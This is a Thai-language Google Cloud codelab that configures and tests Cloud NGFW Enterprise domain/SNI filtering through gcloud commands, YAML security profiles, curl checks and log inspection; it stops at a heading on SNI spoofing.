Codelab การกรองโดเมน/SNI ของ Cloud NGFW Enterprise [การตรวจสอบ TLS ที่ไม่บังคับ]

1. บทนำ

ไฟร์วอลล์รุ่นใหม่บนระบบคลาวด์ (NGFW)

Cloud Next Generation Firewall เป็นบริการไฟร์วอลล์แบบกระจายอย่างเต็มรูปแบบที่มีความสามารถในการป้องกันขั้นสูง การแบ่งส่วนย่อย และความครอบคลุมที่กว้างขวางเพื่อปกป้องภาระงาน Google Cloud จากการโจมตีทั้งภายในและภายนอก

Cloud NGFW มีประโยชน์ดังนี้

  • บริการไฟร์วอลล์แบบกระจาย: Cloud NGFW มีการบังคับใช้แบบมีสถานะที่อิงตามโฮสต์แบบกระจายอย่างเต็มรูปแบบในแต่ละภาระงานเพื่อเปิดใช้สถาปัตยกรรมการรักษาความปลอดภัยแบบ Zero Trust
  • การกำหนดค่าและการติดตั้งใช้งานที่ง่ายขึ้น: Cloud NGFW จะใช้นโยบายเครือข่ายและนโยบายไฟร์วอลล์แบบลำดับชั้นที่แนบกับโหนดลำดับชั้นทรัพยากรได้ นโยบายเหล่านี้มอบประสบการณ์การใช้งานไฟร์วอลล์ที่สอดคล้องกันในลำดับชั้นทรัพยากรของ Google Cloud
  • การควบคุมแบบละเอียดและการแบ่งส่วนย่อย: การผสมผสานระหว่างนโยบายไฟร์วอลล์และแท็กที่ควบคุมโดยการจัดการข้อมูลประจำตัวและการเข้าถึง (IAM) ช่วยให้ควบคุมการรับส่งข้อมูลทั้งแบบเหนือ-ใต้และแบบตะวันออก-ตะวันตกได้อย่างละเอียดจนถึงระดับ VM เดียวในเครือข่าย Virtual Private Cloud (VPC) และองค์กร

Cloud NGFW พร้อมให้บริการในระดับต่อไปนี้

  • ข้อมูลเบื้องต้นเกี่ยวกับ Cloud Next Generation Firewall
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

ออบเจ็กต์ FQDN มาตรฐานของ Cloud NGFW สามารถแปลชื่อโดเมน (FQDN) ที่มีคุณสมบัติครบถ้วนเป็นที่อยู่ IP แล้วบังคับใช้กฎกับรายการที่อยู่ IP ได้ อย่างไรก็ตาม Cloud NGFW Enterprise ที่มีการกรองโดเมนจะช่วยให้การตรวจสอบมีประสิทธิภาพมากขึ้น

Cloud NGFW Enterprise

ปัจจุบัน Cloud NGFW Enterprise มี Intrusion Prevention Service (IPS) ซึ่งเป็นความสามารถของเลเยอร์ 7 สำหรับโครงสร้างไฟร์วอลล์ Google Cloud แบบกระจาย

ตอนนี้ Cloud NGFW Enterprise มีการกรองโดเมน ซึ่งช่วยให้ควบคุมการรับส่งข้อมูล http(s) ได้โดยใช้ชื่อโดเมนแทนการใช้ที่อยู่ IP

สำหรับการกรองโดเมน/SNI ของการเข้าชม https ซึ่งเป็นส่วนหนึ่งของการแฮนด์เชค TLS, Client Hello เป็นส่วนขยายที่มีการระบุชื่อเซิร์ฟเวอร์ (SNI) SNI เป็นส่วนขยายของโปรโตคอล TLS ที่ส่งชื่อโฮสต์ที่ไคลเอ็นต์พยายามเข้าถึง ซึ่งเป็นที่ที่จะตรวจสอบการกรอง

การเข้าชม HTTP จะไม่มี SNI ดังนั้นจะใช้เฉพาะฟิลด์ส่วนหัว Host ของ HTTP เพื่อใช้การกรอง

การกรองโดเมนได้รับการกำหนดค่าด้วย UrlFilteringProfile ซึ่งเป็นโปรไฟล์ความปลอดภัยประเภทใหม่ UrlFilteringProfile จะมีรายการ UrlFilter ซึ่งแต่ละรายการจะมี Action, รายการสตริงที่ตรงกัน และลำดับความสำคัญที่ไม่ซ้ำกัน การกำหนดค่านี้ใช้ "Url" ในการตั้งชื่อแทน "Domain" เพื่อรองรับการเปลี่ยนไปใช้การกรอง URL แบบเต็มได้อย่างง่ายดายเมื่อพร้อมใช้งาน แทนที่จะสร้างโปรไฟล์ความปลอดภัยประเภทใหม่ในอนาคต

UrlFilteringProfiles มี UrlFilter ที่มีลำดับความสำคัญต่ำสุดโดยนัย (2147483647) ซึ่งจะปฏิเสธการเชื่อมต่อทั้งหมดที่ไม่ตรงกับ UrlFilter ที่มีลำดับความสำคัญสูงกว่า

สิ่งที่คุณจะสร้าง

Codelab นี้ต้องใช้โปรเจ็กต์เดียวและมีความสามารถในการสร้างเครือข่าย VPC รวมถึงจัดการทรัพยากรเครือข่ายและความปลอดภัยจำนวนหนึ่ง โดยจะแสดงให้เห็นว่า Cloud NGFW Enterprise สามารถให้การกรองโดเมนและ SNI พร้อมคำแนะนำที่ไม่บังคับสำหรับการตรวจสอบ TLS ได้อย่างไร

เราจะทดสอบสถานการณ์ต่างๆ ของกฎอนุญาตและกฎปฏิเสธ รวมถึงการใช้ไวลด์การ์ด

4a779fae790d117.png

สถานะสุดท้ายของฐานกฎนโยบายไฟร์วอลล์เครือข่ายจะคล้ายกับตารางด้านล่าง

ลำดับความสำคัญ

ทิศทาง

Target

แหล่งที่มา

ปลายทาง

การดำเนินการ

ประเภท

200

ขาเข้า

ทั้งหมด

IAP

ตามแต่ละประเทศ

อนุญาต

Essentials

300

ขาออก

ทั้งหมด

ตามแต่ละประเทศ

0.0.0.0/0:80,443

การตรวจสอบ L7

Enterprise

สิ่งที่คุณจะได้เรียนรู้

  • วิธีสร้างนโยบายไฟร์วอลล์เครือข่าย
  • วิธีกำหนดค่าและใช้การกรองโดเมน/SNI ของ Cloud NGFW Enterprise
  • วิธีกำหนดค่าการป้องกันภัยคุกคามนอกเหนือจากการกรองโดเมน/SNI
  • วิธีตรวจสอบบันทึก
  • [ไม่บังคับ] วิธีเปิดใช้การตรวจสอบ TLS

สิ่งที่คุณต้องมี

  • โปรเจ็กต์ Google Cloud
  • ความรู้เกี่ยวกับการติดตั้งใช้งานอินสแตนซ์และการกำหนดค่าคอมโพเนนต์เครือข่าย
  • ความรู้เกี่ยวกับการกำหนดค่าไฟร์วอลล์ของนโยบายเครือข่าย

2. ก่อนเริ่มต้น

สร้าง/อัปเดตตัวแปร

Codelab นี้ใช้ $variables เพื่อช่วยในการติดตั้งใช้งานการกำหนดค่า gcloud ใน Cloud Shell

ใน Cloud Shell ให้เรียกใช้คำสั่งด้านล่างโดยแทนที่ข้อมูลภายในวงเล็บตามที่จำเป็น

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=domain-sni

3. เปิดใช้ API

เปิดใช้ API หากยังไม่ได้ดำเนินการ

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable privateca.googleapis.com

4. การสร้างอุปกรณ์ปลายทางของ Cloud NGFW Enterprise

เนื่องจากการสร้างปลายทางของ Cloud NGFW Enterprise ใช้เวลาประมาณ 20 นาที ระบบจึงจะสร้างปลายทางก่อน และคุณสามารถทำการตั้งค่าพื้นฐานไปพร้อมๆ กันในขณะที่ระบบสร้างปลายทาง

การกรองโดเมน/SNI จะต้องใช้ปลายทางไฟร์วอลล์แม้ว่าคุณจะไม่ได้ตั้งใจใช้โปรไฟล์การป้องกันภัยคุกคามก็ตาม

สร้างโปรไฟล์ความปลอดภัยและกลุ่มโปรไฟล์ความปลอดภัย

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$project_id

เรียกใช้คำสั่งด้านล่างเพื่อยืนยันว่าระบบกำลังสร้างปลายทาง (CREATING)

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

ผลลัพธ์ที่คาดไว้ (โปรดทราบว่ารูปแบบเอาต์พุตอาจแตกต่างกันไปตามไคลเอ็นต์ที่ใช้)

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

กระบวนการสร้างจะใช้เวลาประมาณ 20 นาที ไปที่ส่วนการตั้งค่าพื้นฐานเพื่อสร้างทรัพยากรที่จำเป็นควบคู่กันไป

5. การตั้งค่าฐาน

เครือข่ายและซับเน็ต VPC

เครือข่ายและซับเน็ต VPC

สร้างเครือข่าย VPC และซับเน็ต

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

สร้างที่อยู่ IP ภายนอก, Cloud Router และเกตเวย์ Cloud NAT โดยทำดังนี้

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

การสร้างอินสแตนซ์

สร้างอินสแตนซ์ไคลเอ็นต์

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet \
   --no-address \
   --zone $zone

นโยบายไฟร์วอลล์เครือข่ายส่วนกลาง

สร้างนโยบายไฟร์วอลล์เครือข่ายส่วนกลาง

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Domain/SNI Filtering" --global

สร้างกฎ Cloud Firewall Essentials ที่จำเป็นเพื่ออนุญาตการรับส่งข้อมูลจากช่วง Identity-Aware Proxy ดังนี้

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
      --src-ip-ranges=35.235.240.0/20

เชื่อมโยงนโยบายไฟร์วอลล์ระบบคลาวด์กับเครือข่าย VPC โดยทำดังนี้

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. สร้างการกำหนดค่าการกรองโดเมน/SNI สำหรับอนุญาต

จากนั้นเราจะกำหนดค่าโดเมนเพื่ออนุญาตและปฏิเสธ สร้างไฟล์ YAML จาก Cloud Shell โดยทำดังนี้

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: ALLOW
      priority: 1000
      urls:
      - 'www.example.com'
EOF

สร้างโปรไฟล์ความปลอดภัยโดยการนำเข้าการกำหนดค่า YAML ดังนี้

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

ผลลัพธ์ที่คาดไว้

Request issued for: [$prefix-sp]
Waiting for operation [organizations/$org_id/locations/global/operations/operation-1758319415956-63f2ea4309525-8d2da6a0-929e6304] to complete...done.                                                              
createTime: '2025-09-19T22:03:36.008789416Z'
etag: aIWSVHl8Hbj726iTDFROnlceKINsUbfI-8at816WNgU
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
updateTime: '2025-09-19T22:03:38.355672775Z'
urlFilteringProfile:
  urlFilters:
  - filteringAction: ALLOW
    priority: 1000
    urls:
    - www.example.com
  - filteringAction: DENY
    priority: 2147483647
    urls:
    - '*'

สร้างกลุ่มโปรไฟล์ความปลอดภัย

gcloud network-security security-profile-groups create $prefix-spg --organization=$org_id --location=global --url-filtering-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp

ตรวจสอบว่า SPG มีโปรไฟล์ความปลอดภัย

gcloud network-security security-profile-groups describe $prefix-spg \
--location=global \
--organization=$org_id \
--project=$project_id

ผลลัพธ์ที่คาดไว้

{
  "createTime": "2025-09-19T22:06:15.298569417Z",
  "dataPathId": "685",
  "etag": "Ru65whAbcsnTKYpVtKRGBtBUX2EbrPgCWI0_9540B00",
  "name": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
  "updateTime": "2025-09-19T22:06:19.201991641Z",
  "urlFilteringProfile": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp"
}

7. การเชื่อมโยงปลายทางของ Cloud Firewall

กำหนดตัวแปรสภาพแวดล้อมในกรณีที่ยังไม่ได้ดำเนินการและ/หรือต้องการใช้วิธีการสคริปต์

ยืนยันว่าการสร้างปลายทางไฟร์วอลล์ระบบคลาวด์เสร็จสมบูรณ์แล้ว ดำเนินการต่อเมื่อสถานะแสดงเป็นใช้งานอยู่ (ระหว่างการสร้าง สถานะที่คาดไว้คือกำลังสร้าง)

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

ผลลัพธ์ที่คาดไว้ (โปรดทราบว่ารูปแบบเอาต์พุตอาจแตกต่างกันไปตามไคลเอ็นต์ที่ใช้)

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

เชื่อมโยงปลายทางไฟร์วอลล์ระบบคลาวด์กับเครือข่าย VPC โดยทำดังนี้

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

กระบวนการเชื่อมโยงจะใช้เวลาประมาณ 10 นาที ไปยังส่วนถัดไปเมื่อสถานะแสดงเป็นใช้งานอยู่เท่านั้น (ระหว่างการสร้าง สถานะที่คาดไว้คือกำลังสร้าง)

gcloud network-security firewall-endpoint-associations list

ผลลัพธ์ที่คาดหวังเมื่อเสร็จสมบูรณ์

ID: $prefix-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

8. สร้างกฎไฟร์วอลล์สำหรับการกรองโดเมน/SNI

Google มีกฎไฟร์วอลล์ขาออกที่อนุญาตโดยนัย หากต้องการบังคับใช้การกรองโดเมน/SNI เราต้องกำหนดกฎอย่างชัดเจน กฎต่อไปนี้จะส่งการรับส่งข้อมูลขาออกสำหรับพอร์ตปลายทาง 80 และ 443 เพื่อให้โปรไฟล์ความปลอดภัยของเราตรวจสอบ

gcloud compute network-firewall-policies rules create 300 \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy  \
--global-firewall-policy \
--direction=EGRESS \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--layer4-configs=tcp:80,tcp:443 \
--dest-ip-ranges=0.0.0.0/0 \
--enable-logging

9. ตรวจสอบกฎการอนุญาต

เริ่มต้นการเชื่อมต่อ SSH กับ VM ผ่าน IAP โดยทำดังนี้

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

ส่งคำขอตัวอย่างไปยังปลายทางที่อนุญาต

curl https://www.example.com --max-time 2

โปรดทราบว่าคำขอนี้สำเร็จเนื่องจากกฎไฟร์วอลล์ "อนุญาต"

มาลองใช้โดเมน 2-3 โดเมนที่ไม่ได้อยู่ในรายการกัน

curl https://example.com --max-time 2
curl https://google.com --max-time 2
curl https://wikipedia.org --max-time 2

ผลลัพธ์ที่คาดไว้

curl: (35) Recv failure: Connection reset by peer
curl: (35) Recv failure: Connection reset by peer
curl: (35) Recv failure: Connection reset by peer

เหตุใด "example.com" จึงใช้งานไม่ได้ เนื่องจากการกำหนดค่าโปรไฟล์ความปลอดภัยมี "www.example.com" อย่างชัดเจน หากต้องการอนุญาตโดเมนย่อยทั้งหมดของ example.com เราสามารถใช้ไวลด์การ์ดได้

คำขออื่นๆ ก็ล้มเหลวเช่นกัน เนื่องจากกลุ่มโปรไฟล์ความปลอดภัยมีการปฏิเสธเริ่มต้นที่มีลำดับความสำคัญต่ำสุด และอนุญาตเฉพาะ www.example.com

ออกจาก VM เพื่อกลับไปที่ Cloud Shell

exit

10. อัปเดตการกำหนดค่าการกรองโดเมน/SNI สำหรับไวลด์การ์ด

มาดูไฟล์ YAML และทำการอัปเดตเพิ่มเติมเพื่อแสดงความสามารถเพิ่มเติม รวมถึงการรองรับสัญลักษณ์แทนกัน เราจะสร้างกฎที่อนุญาต "*.com" ซึ่งเทียบเท่ากับโดเมนที่ลงท้ายด้วย .com หมายเหตุ: การดำเนินการนี้จะแทนที่เนื้อหาทั้งหมดของไฟล์ YAML เดิมที่สร้างขึ้นในส่วนก่อนหน้า

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: ALLOW
      priority: 2000
      urls:
      - '*.com'
EOF

อัปเดตโปรไฟล์ความปลอดภัยด้วยการกำหนดค่า yaml ใหม่

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

ตรวจสอบการกำหนดค่าโปรไฟล์ความปลอดภัย

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

ผลลัพธ์ที่คาดไว้

{
  "createTime": "2025-09-19T22:03:36.008789416Z",
  "etag": "NWFkiDgvE1557Fwx7TVTUiMJBAtnWVnWQ2-hhGEiXA0",
  "name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
  "type": "URL_FILTERING",
  "updateTime": "2025-09-20T03:45:42.519263424Z",
  "urlFilteringProfile": {
    "urlFilters": [
      {
        "filteringAction": "ALLOW",
        "priority": 2000,
        "urls": [
          "*.com"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 2147483647,
        "urls": [
          "*"
        ]
      }
    ]
  }
}

11. ตรวจสอบกฎไวลด์การ์ด

มาตรวจสอบว่ากฎไวลด์การ์ดใช้งานได้หรือไม่ เริ่มต้นการเชื่อมต่อ SSH กับ VM ผ่าน IAP โดยทำดังนี้

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

ส่งคำขอตัวอย่างไปยังปลายทางที่อนุญาต

curl https://github.com --max-time 2
curl https://google.com --max-time 2

คำขอทั้งหมดนี้ควรดำเนินการสำเร็จ คุณลองใช้โดเมน .com อื่นๆ ที่ถูกต้องได้ หากยังไม่สำเร็จ โปรดรออย่างน้อย 10 นาทีแล้วลองอีกครั้ง

เรายังลองใช้โดเมนย่อยหลายโดเมนของ ".com" ได้ด้วย และทุกโดเมนย่อยควรใช้งานได้

curl https://mail.google.com --max-time 2

ออกจาก VM เพื่อกลับไปที่ Cloud Shell

exit

12. อัปเดตการกำหนดค่าการกรองโดเมน/SNI สำหรับปฏิเสธ

เราได้แสดงให้เห็นว่ามีกฎ DENY โดยนัยสำหรับ * ที่ส่วนท้ายของโปรไฟล์ความปลอดภัย และสร้างโดเมนที่ "อนุญาต" โดยใช้ filteringAction เป็น "ALLOW" มาดูวิธีใช้ filteringAction เป็น "DENY" กัน การดำเนินการ DENY อาจมีประโยชน์เมื่ออยู่ก่อนหน้า ALLOW ที่ชัดเจน ลองดูตัวอย่างต่อไปนี้

เราจะอัปเดต yaml ที่มีอยู่เพื่ออนุญาต *.com แต่จะปฏิเสธโดเมน .com บางโดเมนโดยเฉพาะ

เราจะแก้ไขไฟล์ YAML เพื่อปฏิเสธ *.github.com และ *.google.com ขณะที่อนุญาต *.com อื่นๆ ทั้งหมดอย่างชัดเจนและคงการปฏิเสธเริ่มต้นโดยนัยไว้ โปรดทราบว่าลำดับความสำคัญของข้อยกเว้นต้องมีหมายเลขลำดับความสำคัญที่ต่ำกว่า: (1000 เทียบกับ 2000) และ (1500 เทียบกับ 2000)

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: DENY
      priority: 1000
      urls:
      - '*.github.com'
    - filteringAction: DENY
      priority: 1500
      urls:
      - '*.google.com'
    - filteringAction: ALLOW
      priority: 2000
      urls:
      - '*.com'
EOF

อัปเดตโปรไฟล์ความปลอดภัยด้วยการกำหนดค่า yaml ใหม่

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

ตรวจสอบการกำหนดค่าโปรไฟล์ความปลอดภัย

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

13. ตรวจสอบกฎการปฏิเสธ

มาตรวจสอบกันว่ากฎ DENY ใช้งานได้หรือไม่ เริ่มต้นการเชื่อมต่อ SSH กับ VM ผ่าน IAP โดยทำดังนี้

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

ส่งคำขอตัวอย่างไปยังปลายทางที่ถูกปฏิเสธ

curl https://www.github.com --max-time 2
curl https://mail.google.com --max-time 2

คำขอทั้ง 2 รายการนี้ควรจะล้มเหลวเนื่องจากตรงกับกฎ "ปฏิเสธ"

ส่งคำขอเพิ่มเติม

curl https://github.com --max-time 2
curl https://google.com --max-time 2

เหตุใดจึงได้ผล ซึ่งใช้ได้เนื่องจากกฎ DENY มีไว้สำหรับ ".github.com" และ ".google.com" คำขอที่ส่งไปยัง github.com และ google.com จะไม่รวมไวลด์การ์ดดังกล่าวเนื่องจากอ้างอิงถึงโดเมนย่อยของ github.com และ google.com

คำขออื่นๆ ที่ส่งไปยังโดเมน .com ควรสำเร็จ โดยมีการปฏิเสธเริ่มต้นสำหรับโดเมนอื่นๆ (.org, .net, .me, ...etc)

ออกจาก VM เพื่อกลับไปที่ Cloud Shell

exit

14. อัปเดตการกำหนดค่าการกรองโดเมน/SNI สำหรับการอนุญาตเริ่มต้น

จะเกิดอะไรขึ้นหากคุณต้องการมีลักษณะการทำงานเริ่มต้นเป็น ALLOW โดยมีกฎปฏิเสธที่ชัดเจน เราจะอัปเดต YAML เพื่อแสดงลักษณะการทำงานนี้ เราจะกำหนดค่านโยบาย DENY สำหรับโดเมน .com หรือ .net และอนุญาตโดเมนอื่นๆ ทั้งหมด

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: DENY
      priority: 1000
      urls:
      - '*.com'
    - filteringAction: DENY
      priority: 1500
      urls:
      - '*.net'
    - filteringAction: ALLOW
      priority: 2000000000
      urls:
      - '*'
EOF

อัปเดตโปรไฟล์ความปลอดภัยด้วยการกำหนดค่า YAML ใหม่

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

ตรวจสอบการกำหนดค่าโปรไฟล์ความปลอดภัย

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

ผลลัพธ์ที่คาดหวัง

{
  "createTime": "2025-09-19T22:03:36.008789416Z",
  "etag": "72Q4RbjDyfjLPeNcNLAaJrUBgpO21idaqTMeDZf4VSw",
  "name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
  "type": "URL_FILTERING",
  "updateTime": "2025-09-20T04:32:53.299276787Z",
  "urlFilteringProfile": {
    "urlFilters": [
      {
        "filteringAction": "DENY",
        "priority": 1000,
        "urls": [
          "*.com"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 1500,
        "urls": [
          "*.net"
        ]
      },
      {
        "filteringAction": "ALLOW",
        "priority": 2000000000,
        "urls": [
          "*"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 2147483647,
        "urls": [
          "*"
        ]
      }
    ]
  }
}

โปรดทราบว่าการปฏิเสธโดยนัยสำหรับ * ยังคงมีอยู่ กฎดังกล่าวจะไม่มีผลเนื่องจากเราได้กำหนดค่ากฎเริ่มต้นที่มีลำดับความสำคัญสูงกว่า (ค่าต่ำกว่า) ซึ่งมีการตั้งค่า filteringAction เป็น ALLOW

(2000000000 เทียบกับ 2147483647)

15. ตรวจสอบกฎการปฏิเสธด้วยการอนุญาตเริ่มต้น

มาตรวจสอบว่ากฎ DENY ทำงานร่วมกับ ALLOW เริ่มต้นได้หรือไม่ เริ่มต้นการเชื่อมต่อ SSH กับ VM ผ่าน IAP โดยทำดังนี้

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

ส่งคำขอตัวอย่างไปยังปลายทางที่ถูกปฏิเสธ

curl https://www.github.com --max-time 2
curl https://www.php.net --max-time 2

คำขอทั้ง 2 รายการนี้ควรจะล้มเหลวเนื่องจากตรงกับกฎ "ปฏิเสธ" คำขอ .com หรือ .net ควรล้มเหลว

ส่งคำขอที่ควรสำเร็จ (โดเมนระดับบนสุดอื่นๆ)

curl https://wikipedia.org --max-time 2
curl https://ifconfig.me --max-time 2

คำขอเหล่านี้ควรสำเร็จเนื่องจากเป็นไปตามกฎ "อนุญาต" เริ่มต้นที่มีลำดับความสำคัญ 2000000000

16. สำรวจบันทึกสำหรับการกรองโดเมน/SNI

มาดูกันว่าเราจะตรวจสอบได้อย่างไรว่ากฎไฟร์วอลล์สำหรับการกรองโดเมน/SNI กำลังตรวจสอบการรับส่งข้อมูลอยู่หรือไม่

ใน Cloud Console ให้ไปที่ Logs Explorer แล้วป้อนตัวกรองต่อไปนี้

jsonPayload.rule_details.priority:(300) AND jsonPayload.rule_details.reference=~"^network:[^/]*/firewallPolicy:domain-sni-fwpolicy$"

ตัวกรองด้านบนจะดูนโยบายไฟร์วอลล์ที่เราสร้างขึ้นชื่อ $prefix-fwpolicy และลำดับความสำคัญของกฎที่ 300 ซึ่งมีกลุ่มโปรไฟล์ความปลอดภัยที่เชื่อมโยงกับการกำหนดค่าการกรองโดเมน/SNI

91854cacaec44798.png

ดังที่คุณเห็น "การจำแนกประเภท" ระบุว่า "สกัดกั้น" ซึ่งบ่งชี้ว่ามีการสกัดกั้นการรับส่งข้อมูลและส่งไปยังเครื่องมือไฟร์วอลล์ของเราเพื่อประมวลผล

ตอนนี้หากต้องการดูบันทึกการกรองโดเมน/SNI จริง เราสามารถป้อนตัวกรองต่อไปนี้ในตัวสํารวจบันทึก (ต้องแทนที่ $project_id ด้วยค่า project_id ของคุณ)

logName="projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter"

29fe9cfa3009cb70.png

หากเราขยายรายละเอียดบางส่วน เราจะเห็นรายละเอียดต่อไปนี้ในตัวอย่าง (ล้างข้อมูลแล้ว)

{
  "insertId": "mro2t1f4banf9",
  "jsonPayload": {
    "direction": "CLIENT_TO_SERVER",
    "detectionTime": "2025-09-20T04:39:40.713432713Z",
    "connection": {
      "serverPort": 443,
      "serverIp": "198.35.26.96",
      "clientPort": 37410,
      "protocol": "TCP",
      "clientIp": "10.0.0.2"
    },
    "action": "ALLOW",
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
    "ruleIndex": 2000000000,
    "interceptInstance": {
      "projectId": "$project_id",
      "zone": "$zone",
      "vm": "$prefix-$zone-client"
    },
    "applicationLayerDetails": {
      "uri": "",
      "protocol": "PROTOCOL_UNSPECIFIED"
    },
    "securityProfileGroupDetails": {
      "organizationId": "$org_id",
      "securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg"
    },
    "sessionLayerDetails": {
      "sni": "wikipedia.org",
      "protocolVersion": "TLS1_2"
    },
    "denyType": "unspecified",
    "interceptVpc": {
      "projectId": "$project_id",
      "vpc": "$prefix-vpc"
    },
    "uriMatched": ""
  },
  "resource": {
    "type": "networksecurity.googleapis.com/FirewallEndpoint",
    "labels": {
      "id": "$prefix-$zone",
      "resource_container": "organizations/$org_id",
      "location": "$zone"
    }
  },
  "timestamp": "2025-09-20T04:39:43.758897121Z",
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
  "receiveTimestamp": "2025-09-20T04:39:43.758897121Z"
}

บันทึกตัวอย่างด้านบนแสดงคำขอไปยัง wikipedia.org ซึ่งได้รับอนุญาตเนื่องจากตรงกับกฎลำดับความสำคัญ 2000000000 ซึ่งเป็น "*" ที่มี filterAction ALLOW โดยมีรายละเอียดอื่นๆ รวมถึง SNI

เรามาดูตัวอย่างบันทึก DENY กัน

{
  "insertId": "1pllrqlf60jr29",
  "jsonPayload": {
    "securityProfileGroupDetails": {
      "securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
      "organizationId": "$org_id"
    },
    "action": "DENY",
    "interceptVpc": {
      "vpc": "$prefix-vpc",
      "projectId": "$project_id"
    },
    "connection": {
      "serverIp": "45.112.84.18",
      "clientIp": "10.0.0.2",
      "protocol": "TCP",
      "serverPort": 443,
      "clientPort": 45720
    },
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
    "applicationLayerDetails": {
      "uri": "",
      "protocol": "PROTOCOL_UNSPECIFIED"
    },
    "sessionLayerDetails": {
      "sni": "www.php.net",
      "protocolVersion": "TLS1_2"
    },
    "interceptInstance": {
      "zone": "$zone",
      "projectId": "$project_id",
      "vm": "$prefix-$zone-client"
    },
    "detectionTime": "2025-09-20T04:37:57.345031164Z",
    "direction": "CLIENT_TO_SERVER",
    "ruleIndex": 1500,
    "uriMatched": "",
    "denyType": "SNI"
  },
  "resource": {
    "type": "networksecurity.googleapis.com/FirewallEndpoint",
    "labels": {
      "id": "$prefix-$zone",
      "resource_container": "organizations/$org_id",
      "location": "$zone"
    }
  },
  "timestamp": "2025-09-20T04:38:03.757200395Z",
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
  "receiveTimestamp": "2025-09-20T04:38:03.757200395Z"
}

ดังที่เห็นด้านบน นี่คือคำขอที่บันทึกไว้เมื่อคำขอถูกปฏิเสธ คำขอส่งไปยัง www.php.net ซึ่งตรงกับกฎ 1500 ในโปรไฟล์ความปลอดภัย ในทำนองเดียวกัน ระบบจะจับคู่กับ SNI เพื่อทำการตัดสินใจ

17. ตรวจสอบกฎเมื่อมีการปลอมแปลง SNI

